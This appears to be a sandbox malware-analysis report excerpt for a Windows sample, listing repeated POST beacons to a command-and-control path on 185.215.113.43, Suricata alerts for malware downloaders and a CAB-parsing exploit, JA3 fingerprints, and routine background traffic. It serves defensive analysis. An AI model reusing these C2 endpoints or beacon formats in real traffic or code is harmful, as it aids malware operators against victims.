Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 42 37 36 42 37 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32B76B75B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 20.189.173.9 20.189.173.9

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49714 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49864 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49988 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50126 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50127 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50129 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50130 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50131 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50135 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50137 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50138 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50145 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50146 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50148 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50149 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50150 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50157 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50162 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50139 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50164 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50161 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50165 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50168 -> 172.67.174.133:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50170 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50353 -> 52.168.112.66:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.6:49797
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.6:50106

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBFCC60 PR_Recv,

0_2_6CBFCC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
